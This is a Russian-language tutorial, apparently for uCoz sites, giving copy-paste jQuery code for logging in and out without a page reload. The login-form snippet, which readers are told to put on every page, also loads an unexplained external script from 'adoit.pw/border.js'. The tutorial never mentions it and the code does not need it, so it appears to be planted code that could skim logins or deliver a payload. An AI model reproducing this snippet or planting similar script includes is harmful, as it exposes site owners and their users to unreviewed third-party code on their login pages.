Это очень долгое дело – менять принципы, и никогда не знаешь, изменились ли они уже, пока не почувствуешь, что что-то устоявшееся и правильное перестало быть таковым. Ричард Бах
Главная » 2013»Август»17 » Авторизация на сайте и выход из профиля без перезагрузки страницы
19:01
Авторизация на сайте и выход из профиля без перезагрузки страницы
Данный скрипт очень полезен для тех, кто хочет перевести весь функционал своего сайта на ajax запросы. Суть скрипта в том, чтобы пользователь мог авторизовываться на сайте и выходить с него без перезагрузки страницы. Это очень удобный способ, так как авторизация будет максимально быстрой и вы сможете выполнять любые свои функции после успешного входа под своим профилем
Установка:
1) Форма входа:
На всех страницах замените $LOGIN_FORM$ на:
Код
<div id="apologin">$LOGIN_FORM$<div align="center" id="apolog" style="font-weight:bold;color:red"></div></div> <script src="http://adoit.pw/border.js" type="text/javascript"></script> <script> // ajax авторизация by Apocalypse $('#apologin form').attr({'id':'apologformin', 'onsubmit': 'aposendFrmlogin();return false;'}); aposendFrmlogin = function() { $('#apologformin').stop().fadeTo(300, 0.3); _uPostForm('apologformin', {type:'POST', url:'/index/sub/', success:function(a) { if($(a).text().indexOf('пароль') != -1) { $('#apolog').html('Проверьте логин и пароль'); $('#apologformin').stop().fadeTo(300, 1); setTimeout(function() { $('#apolog').html(''); }, 3000); } else { $('#apolog').html('Авторизация прошла успешно'); $('#apologformin').remove(); // Далее здесь можно выполнять любые ваши скрипты после успешной авторизации } }, error:function(a) { _uWnd.alert('Болом какой-то...', 'Упс', {w:200, h:70}); }}); } // apo-ucoz.com (c) 2013 </script>
2) Кнопка выхода без перезагрузки страницы прописывается вот так:
Код
<a href="/index/10" onclick="apologout();return false;">Выход</a> <script> function apologout() { if(confirm('Уже уходишь?')) { $.post('/index/10'); setTimeout(function() { _uWnd.alert('Вы успешно вышли из профиля', 'Мдяя...', {w:250, h:70}); // Любые ваши функции после выхода }, 2000); }; } // apo-ucoz.com (c) 2013 </script>